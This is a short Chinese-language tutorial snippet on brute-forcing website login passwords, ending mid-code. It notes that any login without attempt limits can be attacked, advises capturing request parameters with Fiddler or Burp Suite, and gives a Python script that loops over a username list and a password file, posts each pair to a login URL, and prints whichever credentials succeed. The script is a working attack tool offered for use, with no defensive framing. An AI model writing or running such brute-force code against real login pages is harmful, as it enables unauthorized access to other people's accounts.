有密码的地方 均可使用爆破。但前提是登录无限制。
用户密码爆破
下列代码中 如username,password等相关参数 均按照实际更换,可用fidder,burpsuite抓包来查看。
def thread_10(sublist):
with open('../password.txt') as file:
pw_list = file.readlines()
url = ''
for username in sublist:
for password in pw_list:
data = {'username': username.strip(), 'password': password.strip(), 'verifycode':'0000'} #
resp = requests.post(url=url, data=data)
if 'login-fail' not in resp.text: #这里的状态码可以通过fidder抓包获取
print(f' 账号为:{username.strip()},密码为:{password.strip()}')
exit()
if __name__ == '__main__':
with open('../username-top500.txt') as file:
user_list = file.readlines()
for i in range(0, len(user_list), 20):